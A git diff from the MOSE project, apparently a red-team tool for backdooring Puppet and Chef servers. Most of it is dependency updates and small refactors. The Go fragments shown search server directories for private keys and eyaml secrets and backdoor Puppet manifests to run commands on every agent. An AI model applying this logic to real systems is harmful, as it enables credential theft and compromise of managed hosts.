moseutils.FindFiles([]string{"/etc/chef", "/home", "/root"}, []string{".pem"}, []string{"config.rb", "knife.rb"}, []string{`\/cookbooks$`}, debug) + chefFiles, chefDirs := moseutils.FindFiles([]string{"/etc/chef", "/home", "/root"}, []string{".pem"}, []string{"config.rb", "knife.rb"}, []string{`\/cookbooks$`}) if len(chefFiles) == 0 { log.Fatalln("Unable to find any chef files, exiting.") diff --git a/cmd/mose/puppet/export_test.go b/cmd/mose/puppet/export_test.go deleted file mode 100644 index 39f87c5..0000000 --- a/cmd/mose/puppet/export_test.go +++ /dev/null @@ -1,8 +0,0 @@ -// Copyright 2020 National Technology & Engineering Solutions of Sandia, LLC (NTESS). -// Under the terms of Contract DE-NA0003525 with NTESS, -// the U.S. Government retains certain rights in this software - -package main - -// Export for testing -var BackupManifest = backupManifest diff --git a/cmd/mose/puppet/main.go b/cmd/mose/puppet/main.go index 10f8fb5..0b2295b 100644 --- a/cmd/mose/puppet/main.go +++ b/cmd/mose/puppet/main.go @@ -37,13 +37,13 @@ type command struct { var ( a = CreateAgent() cleanup bool + cleanupFile = a.CleanupFile cmd = a.Cmd debug = a.Debug osTarget = a.OsTarget moduleName = a.PayloadName uploadFileName = a.FileName uploadFilePath = a.RemoteUploadFilePath - cleanupFile = a.CleanupFile puppetBackupLoc = a.PuppetBackupLoc ) @@ -139,7 +139,7 @@ func backupManifest(manifestLoc string) { path = filepath.Join(puppetBackupLoc, filepath.Base(manifestLoc)) } if !moseutils.FileExists(path + ".bak.mose") { - moseutils.CpFile(manifestLoc, path+".bak.mose") + _ = moseutils.CpFile(manifestLoc, path+".bak.mose") return } fmt.Printf("Backup of the manifest (%v.bak.mose) already exists.\n", manifestLoc) @@ -177,7 +177,7 @@ func getPuppetCodeLoc(manifestLoc string) string { func generateModule(moduleManifest string, cmd string) bool { puppetCommand := command{ ClassName: moduleName, - CmdName: "cmd", + CmdName: moduleName, Cmd: cmd, FileName: uploadFileName, FilePath: uploadFilePath, @@ -232,7 +232,7 @@ func createModule(manifestLoc string, moduleName string, cmd string) { moseutils.CreateFolders([]string{moduleFiles}) fmt.Printf("Copying %s to module location %s\n", uploadFileName, moduleFiles) - moseutils.CpFile(uploadFileName, filepath.Join(moduleFiles, filepath.Base(uploadFileName))) + _ = moseutils.CpFile(uploadFileName, filepath.Join(moduleFiles, filepath.Base(uploadFileName))) if err := os.Chmod(filepath.Join(moduleFiles, filepath.Base(uploadFileName)), 0644); err != nil { log.Fatal(err) } @@ -245,7 +245,7 @@ func createModule(manifestLoc string, moduleName string, cmd string) { func getSecretKeys() map[string]*eyamlKeys { keys := make(map[string]*eyamlKeys) - keyFiles, _ := moseutils.FindFiles([]string{"/etc/puppetlabs", "/etc/puppet", "/root", "/etc/eyaml"}, []string{".pem"}, []string{}, []string{}, debug) + keyFiles, _ := moseutils.FindFiles([]string{"/etc/puppetlabs", "/etc/puppet", "/root", "/etc/eyaml"}, []string{".pem"}, []string{}, []string{}) if len(keyFiles) == 0 { log.Fatalln("Unable to find any files containing keys used with eyaml, exiting.") } @@ -280,7 +280,7 @@ func findHieraSecrets() { return } secretKeys := getSecretKeys() - puppetFiles, _ := moseutils.FindFiles([]string{"/etc/puppetlabs", "/etc/puppet", "/home", "/opt", "/root", "/var"}, []string{".pp", ".yaml", ".yml"}, []string{}, []string{}, debug) + puppetFiles, _ := moseutils.FindFiles([]string{"/etc/puppetlabs", "/etc/puppet", "/home", "/opt", "/root", "/var"}, []string{".pp", ".yaml", ".yml"}, []string{}, []string{}) if len(puppetFiles) == 0 { log.Fatalln("Unable to find any chef files, exiting.") @@ -338,7 +338,7 @@ func doCleanup(manifestLocs []string) { } } if ans || ans2 { - moseutils.CpFile(path, manifestLoc) + _ = moseutils.CpFile(path, manifestLoc) os.Remove(path) } } @@ -368,7 +368,12 @@ func main() { log.Fatal("Exiting...") } - moseutils.Msg("Backdooring the %s manifest to run %s on all associated Puppet agents, please wait...", manifestLoc, cmd) + if uploadFileName != "" { + moseutils.Msg("Backdooring the %s manifest to run %s on all associated Puppet agents, please wait...", manifestLoc, uploadFileName) + } else { + moseutils.Msg("Backdooring the %s manifest to run %s on all associated Puppet agents, please wait...", manifestLoc, cmd) + } + backdoorManifest(manifestLoc) modules := getModules(getPuppetCodeLoc(manifestLoc) + "/modules") moseutils.Info("The following modules were found: %v", modules) diff --git a/cmd/mose/puppet/main_test.go b/cmd/mose/puppet/main_test.go deleted file mode 100644 index 6520344..0000000 --- a/cmd/mose/puppet/main_test.go +++ /dev/null @@ -1,25 +0,0 @@ -// Copyright 2020 National Technology & Engineering Solutions of Sandia, LLC (NTESS). -// Under the terms of Contract DE-NA0003525 with NTESS, -// the U.S. Government retains certain rights in this software - -package main - -import ( - "os" - "testing" - - utils "github.com/l50/goutils" -) - -func TestBackupManifest(t *testing.T) { - file := "site.pp" - backupFile := "site.pp.bak.mose" - created := utils.CreateEmptyFile(file) - BackupManifest(file) - if !created || !utils.FileExists(backupFile) { - t.Fatalf("Failed to create backup of the %s manifest.", file) - } else { - os.Remove(file) - os.Remove(backupFile) - } -} diff --git a/go.mod b/go.mod index 3542bde..be7dd3f 100644 --- a/go.mod +++ b/go.mod @@ -1,34 +1,33 @@ module github.com/master-of-servers/mose require ( - github.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78 // indirect github.com/Microsoft/go-winio v0.4.14 // indirect - github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5 // indirect github.com/docker/distribution v2.7.1+incompatible // indirect github.com/docker/docker v1.13.1 github.com/docker/go-connections v0.4.0 // indirect github.com/docker/go-units v0.4.0 // indirect github.com/dsnet/compress v0.0.1 // indirect github.com/fatih/color v1.9.0 - github.com/gobuffalo/envy v1.8.1 // indirect + github.com/ghodss/yaml v1.0.0 + github.com/gobuffalo/envy v1.9.0 // indirect github.com/gobuffalo/logger v1.0.3 // indirect + github.com/gobuffalo/packd v1.0.0 // indirect github.com/gobuffalo/packr/v2 v2.7.1 - github.com/gogo/protobuf v1.2.1 // indirect + github.com/gogo/protobuf v1.3.1 // indirect github.com/golang/snappy v0.0.1 // indirect - github.com/gorilla/mux v1.7.2 // indirect github.com/l50/goutils v0.0.0-20190618185127-76c085e83296 - github.com/mattn/go-colorable v0.1.1 // indirect - github.com/mattn/go-isatty v0.0.7 // indirect github.com/mholt/archiver v3.1.1+incompatible github.com/nwaples/rardecode v1.0.0 // indirect github.com/opencontainers/go-digest v1.0.0-rc1 // indirect github.com/opencontainers/image-spec v1.0.1 // indirect github.com/pierrec/lz4 v2.0.5+incompatible // indirect - github.com/rogpeppe/go-internal v1.5.1 // indirect + github.com/rogpeppe/go-internal v1.5.2 // indirect + github.com/spf13/pflag v1.0.5 // indirect github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8 // indirect - golang.org/x/crypto v0.0.0-20191227163750-53104e6ec876 // indirect - golang.org/x/sys v0.0.0-20200102141924-c96a22e43c9c // indirect + golang.org/x/crypto v0.0.0-20200214034016-1d94cc7ab1c6 // indirect + golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4 // indirect golang.org/x/time v0.0.0-20190308202827-9d24e82272b4 // indirect + golang.org/x/tools v0.0.0-20200214225126-5916a50871fb // indirect google.golang.org/grpc v1.21.1 // indirect gopkg.in/src-d/go-git.v4 v4.12.0 // indirect gotest.tools v2.2.0+incompatible // indirect diff --git a/go.sum b/go.sum index 1c50884..357939f 100644 --- a/go.sum +++ b/go.sum @@ -18,6 +18,7 @@ github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk= github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE= +github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= @@ -34,31 +35,37 @@ github.com/dsnet/compress v0.0.1/go.mod h1:Aw8dCMJ7RioblQeTqt88akK31OvO8Dhf5Jflh github.com/dsnet/golib v0.0.0-20171103203638-1ea166775780/go.mod h1:Lj+Z9rebOhdfkVLjJ8T6VcRQv3SXugXy999NBtR9aFY= github.com/emirpasic/gods v1.12.0 h1:QAUIPSaCu4G+POclxeqb3F+WPpdKqFGlw36+yOzGlrg= github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o= -github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= -github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.9.0 h1:8xPHl4/q1VyqGIPif1F+1V3Y3lSmrq01EabUW3CoW5s= github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ= github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= +github.com/ghodss/yaml v1.0.0 h1:wQHKEahhL6wmXdzwWG11gIVCkOv05bNOh+Rxn0yngAk= +github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/gliderlabs/ssh v0.1.3 h1:cBU46h1lYQk5f2Z+jZbewFKy+1zzE2aUX/ilcPDAm9M= github.com/gliderlabs/ssh v0.1.3/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0= +github.com/gliderlabs/ssh v0.2.2/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0= github.com/gobuffalo/envy v1.7.0 h1:GlXgaiBkmrYMHco6t4j7SacKO4XUjvh5pwXh0f4uxXU= github.com/gobuffalo/envy v1.7.0/go.mod h1:n7DRkBerg/aorDM8kbduw5dN3oXGswK5liaSCx4T5NI= github.com/gobuffalo/envy v1.7.1 h1:OQl5ys5MBea7OGCdvPbBJWRgnhC/fGona6QKfvFeau8= github.com/gobuffalo/envy v1.7.1/go.mod h1:FurDp9+EDPE4aIUS3ZLyD+7/9fpx7YRt/ukY6jIHf0w= -github.com/gobuffalo/envy v1.8.1 h1:RUr68liRvs0TS1D5qdW3mQv2SjAsu1QWMCx1tG4kDjs= -github.com/gobuffalo/envy v1.8.1/go.mod h1:FurDp9+EDPE4aIUS3ZLyD+7/9fpx7YRt/ukY6jIHf0w= +github.com/gobuffalo/envy v1.9.0 h1:eZR0DuEgVLfeIb1zIKt3bT4YovIMf9O9LXQeCZLXpqE= +github.com/gobuffalo/envy v1.9.0/go.mod h1:FurDp9+EDPE4aIUS3ZLyD+7/9fpx7YRt/ukY6jIHf0w= github.com/gobuffalo/logger v1.0.1 h1:ZEgyRGgAm4ZAhAO45YXMs5Fp+bzGLESFewzAVBMKuTg= github.com/gobuffalo/logger v1.0.1/go.mod h1:2zbswyIUa45I+c+FLXuWl9zSWEiVuthsk8ze5s8JvPs= github.com/gobuffalo/logger v1.0.3 h1:YaXOTHNPCvkqqA7w05A4v0k2tCdpr+sgFlgINbQ6gqc= github.com/gobuffalo/logger v1.0.3/go.mod h1:SoeejUwldiS7ZsyCBphOGURmWdwUFXs0J7TCjEhjKxM= github.com/gobuffalo/packd v0.3.0 h1:eMwymTkA1uXsqxS0Tpoop3Lc0u3kTfiMBE6nKtQU4g4= github.com/gobuffalo/packd v0.3.0/go.mod h1:zC7QkmNkYVGKPw4tHpBQ+ml7W/3tIebgeo1b36chA3Q= +github.com/gobuffalo/packd v1.0.0 h1:6ERZvJHfe24rfFmA9OaoKBdC7+c9sydrytMg8SdFGBM= +github.com/gobuffalo/packd v1.0.0/go.mod h1:6VTc4htmJRFB7u1m/4LeMTWjFoYrUiBkU9Fdec9hrhI= +github.com/gobuffalo/packr v1.30.1 h1:hu1fuVR3fXEZR7rXNW3h8rqSML8EVAf6KNm0NKO/wKg= github.com/gobuffalo/packr/v2 v2.7.1 h1:n3CIW5T17T8v4GGK5sWXLVWJhCz7b5aNLSxW6gYim4o= github.com/gobuffalo/packr/v2 v2.7.1/go.mod h1:qYEvAazPaVxy7Y7KR0W8qYEE+RymX74kETFqjFoFlOc= github.com/gogo/protobuf v1.2.1 h1:/s5zKNz0uPFCZ5hddgPdo2TK2TVrUNMn0OOX8/aZMTE= github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= +github.com/gogo/protobuf v1.3.1 h1:DqDEcV5aeaTmdFBePNpYsp3FlcVH/2ISVVM9Qf8PSls= +github.com/gogo/protobuf v1.3.1/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= @@ -68,6 +75,7 @@ github.com/golang/snappy v0.0.1 h1:Qgr9rKW7uDUkrbSmQeiDsGa8SjGyCOGtuasMWwvp2P4= github.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/google/go-cmp v0.2.0 h1:+dTQ8DZQJz0Mb/HjFlkptS1FeQ4cWSnN941F8aEG4SQ= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= +github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/gorilla/mux v1.7.2 h1:zoNxOV7WjqXptQOVngLmcSQgXmgk4NMz1HibBchjl/I= github.com/gorilla/mux v1.7.2/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= @@ -80,7 +88,10 @@ github.com/joho/godotenv v1.3.0 h1:Zjp+RcGpHhGlrMbJzXTrZZPrWj+1vfm90La1wgB6Bhc= github.com/joho/godotenv v1.3.0/go.mod h1:7hK45KPybAkOC6peb+G5yklZfMxEjkZhHbwpqxOKXbg= github.com/kevinburke/ssh_config v0.0.0-20180830205328-81db2a75821e h1:RgQk53JHp/Cjunrr1WlsXSZpqXn+uREuHvUVcK82CV8= github.com/kevinburke/ssh_config v0.0.0-20180830205328-81db2a75821e/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM= +github.com/kevinburke/ssh_config v0.0.0-20190725054713-01f96b0aa0cd h1:Coekwdh0v2wtGp9Gmz1Ze3eVRAWJMLokvN3QjdzCHLY= +github.com/kevinburke/ssh_config v0.0.0-20190725054713-01f96b0aa0cd/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM= github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= +github.com/kisielk/errcheck v1.2.0/go.mod h1:/BMXB+zMLi60iA8Vv6Ksmxu/1UDYcXs4uQLJ+jE2L00= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A= github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek= @@ -90,18 +101,14 @@ github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxv github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/l50/goutils v0.0.0-20190618185127-76c085e83296 h1:Xgl0TISoA1uwxvdYUfQzgwnDa/vOexXIKKvNE8AlzGY= github.com/l50/goutils v0.0.0-20190618185127-76c085e83296/go.mod h1:VnGRP5vgMieuh1A7gCUTqMZDtcv2bIejFTbYOkn/Hcw= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= -github.com/mattn/go-colorable v0.1.1 h1:G1f5SKeVxmagw/IyvzvtZE4Gybcc4Tr1tf7I8z0XgOg= -github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA= github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= -github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= -github.com/mattn/go-isatty v0.0.7 h1:UvyT9uN+3r7yLEYSlJsbQGdsaB/a0DlgWP3pql6iwOc= -github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.11 h1:FxPOTFNqGkuDUGi3H/qkUbQO4ZiBa2brKq5r0l8TGeM= github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= @@ -121,8 +128,12 @@ github.com/pelletier/go-buffruneio v0.2.0/go.mod h1:JkE26KsDizTr40EUHkXVtNPvgGtb github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= github.com/pierrec/lz4 v2.0.5+incompatible h1:2xWsjqPFWcplujydGg4WmhC/6fZqK42wMM8aXeqhl0I= github.com/pierrec/lz4 v2.0.5+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY= +github.com/pierrec/lz4 v2.4.1+incompatible h1:mFe7ttWaflA46Mhqh+jUfjp2qTbPYxLB2/OyBppH9dg= +github.com/pierrec/lz4 v2.4.1+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY= github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/rogpeppe/go-internal v1.1.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= @@ -131,8 +142,8 @@ github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFR github.com/rogpeppe/go-internal v1.3.2/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/rogpeppe/go-internal v1.4.0 h1:LUa41nrWTQNGhzdsZ5lTnkwbNjj6rXTdazA1cSdjkOY= github.com/rogpeppe/go-internal v1.4.0/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= -github.com/rogpeppe/go-internal v1.5.1 h1:asQ0uD7BN9RU5Im41SEEZTwCi/zAXdMOLS3npYaos2g= -github.com/rogpeppe/go-internal v1.5.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= +github.com/rogpeppe/go-internal v1.5.2 h1:qLvObTrvO/XRCqmkKxUlOBc48bI3efyDuAZe25QiF0w= +github.com/rogpeppe/go-internal v1.5.2/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g= github.com/sergi/go-diff v1.0.0 h1:Kpca3qRNrduNnOQeazBd0ysaKrUJiIuISHxogkT9RPQ= github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= @@ -147,11 +158,14 @@ github.com/spf13/cobra v0.0.5/go.mod h1:3K3wKZymM7VvHMDS9+Akkh4K60UwM26emMESw8tL github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= github.com/spf13/pflag v1.0.3 h1:zPAT6CGy6wXeQ7NtTnaTerfKOsV6V6F8agHXFiazDkg= github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s= github.com/src-d/gcfg v1.4.0 h1:xXbNR5AlLSA315x2UO+fTSSAXCDf+Ar38/6oyGbDKQ4= github.com/src-d/gcfg v1.4.0/go.mod h1:p/UMsR43ujA89BJY9duynAwIpvqEujIH/jFlfL7jWoI= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= @@ -173,17 +187,23 @@ golang.org/x/crypto v0.0.0-20190422183909-d864b10871cd h1:sMHc2rZHuzQmrbVoSpt9Hg golang.org/x/crypto v0.0.0-20190422183909-d864b10871cd/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190621222207-cc06ce4a13d4 h1:ydJNl0ENAG67pFbB+9tfhiL2pYqLhfoaZFw/cjLhY4A= golang.org/x/crypto v0.0.0-20190621222207-cc06ce4a13d4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20191122220453-ac88ee75c92c h1:/nJuwDLoL/zrqY6gf57vxC+Pi+pZ8bfhpPkicO5H7W4= golang.org/x/crypto v0.0.0-20191122220453-ac88ee75c92c/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20191227163750-53104e6ec876 h1:sKJQZMuxjOAR/Uo2LBfU90onWEf1dF4C+0hPJCc9Mpc= -golang.org/x/crypto v0.0.0-20191227163750-53104e6ec876/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20200204104054-c9f3fb736b72 h1:+ELyKg6m8UBf0nPFSqD0mi7zUfwPyXo23HNjMnXPz7w= +golang.org/x/crypto v0.0.0-20200204104054-c9f3fb736b72/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20200214034016-1d94cc7ab1c6 h1:Sy5bstxEqwwbYs6n0/pBuxKENqOeZUgD45Gp3Q3pqLg= +golang.org/x/crypto v0.0.0-20200214034016-1d94cc7ab1c6/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190502183928-7f726cade0ab h1:9RfW3ktsOZxgo9YNbBAjq1FWzc/igwEcUzZz8IXgSbk= golang.org/x/net v0.0.0-20190502183928-7f726cade0ab/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859 h1:R/3boaszxrf1GEUWTVDzSKVwLmSJpwZ1yqXm8j0v2QI= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190724013045-ca1201d0de80 h1:Ao/3l156eZf2AW5wK8a7/smtodRU+gha3+BeqJ69lRk= +golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -204,17 +224,28 @@ golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190515120540-06a5c4944438 h1:khxRGsvPk4n2y8I/mLLjp7e5dMTJmH75wvqS6nMwUtY= golang.org/x/sys v0.0.0-20190515120540-06a5c4944438/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200102141924-c96a22e43c9c 